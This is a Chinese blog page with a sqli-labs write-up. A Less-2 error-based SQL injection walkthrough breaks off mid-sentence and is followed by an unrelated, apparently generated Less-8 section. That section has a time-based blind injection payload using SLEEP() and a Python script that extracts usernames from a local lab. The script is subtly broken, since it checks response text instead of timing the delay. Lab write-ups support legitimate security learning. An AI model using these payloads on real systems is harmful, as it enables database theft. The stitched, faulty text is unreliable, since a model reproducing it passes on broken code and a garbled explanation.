sqli-labs Less-2解题思路

本文详细介绍了如何解决sqli-labs的Less-2挑战,通过GET错误注入,逐步揭示了爆字段、数据库、表名和列名的过程,强调了渗透测试中分析错误信息和细心操作的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先声明一下,我自己也是一名小白,或者你可以叫我“脚本小子”。只是喜欢这个东西就去钻研,有一点心得就发布出来与大家探讨,有问题请多多指教。末尾更精彩!

Less-2 GET-Error based-intiger based

①打开页面,如图所示

please input the ID as parameter

②[如图所示:please input the ID as parameter … ]此处id 传递参数,先测试是否存在漏洞

在这里插入图片描述
在这里插入图片描述

③根据返回错误页面信息 LIMIT 0,1’,多加了一个’,此处为字符型注入【注入类型有两种:字符型和数字型,将成对的引号去掉以后只有数字为数字型,如果数字后面有符号,如’,

### sqli-8 解题思路 #### 1. 实验环境准备 为了完成Less-8的挑战,确保已安装并配置好sqli-labs平台。此部分涉及设置Web服务器以及数据库连接等基础工作[^1]。 #### 2. SQL注入点分析 在Less-8中,存在一个基于布尔条件的时间延迟型SQL注入漏洞。当输入特定参数时,应用程序会执行带有`SLEEP()`函数的查询来判断是否存在符合条件的数据记录。这种类型的注入允许攻击者通过观察页面响应时间差异推断出隐藏的信息。 #### 3. 构造有效载荷(Payload) 目标是从users表获取用户名和密码哈希值。可以利用二分法逐位猜解ASCII码形式存储的内容。例如: ```sql 1' AND IF(ASCII(SUBSTRING((SELECT user FROM users LIMIT 0,1),1,1))>67,SLEEP(5),NULL) -- ``` 这段代码的作用是在第一个用户的用户名首字母大于'C'(ASCII=67)的情况下让服务器暂停五秒再返回结果;反之则立即给出回应。调整比较运算符(`>`改为 `<`) 和 ASCII 数字范围可以帮助逐步缩小可能的结果集直至完全破解所需数据。 #### 4. 自动化脚本编写 手动测试效率低下且容易出错,因此建议开发Python或其他编程语言编写的自动化工具来进行批量处理。下面是一个简单的Python示例用于实现上述逻辑: ```python import requests from string import ascii_lowercase, digits url = "http://localhost/sqli/Less-8/?id=" characters = '_' + ascii_lowercase + digits def check(payload): response = requests.get(url + payload).content.decode('utf-8') return 'query took too long' in response.lower() for i in range(1, 21): # Assuming max length of username is 20 characters. found_char = False for char in characters: injection_string = f"1' AND IF(ASCII(SUBSTRING((SELECT user FROM users LIMIT 0,1),{i},1))={ord(char)},SLEEP(5),NULL)--" if check(injection_string): print(f"[+] Found character {char} at position {i}") break print("[*] Finished!") ``` 该程序遍历所有潜在的有效字符,并依次验证它们是否存在于指定位置上。一旦找到匹配项就会打印出来直到整个字符串被还原完毕。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值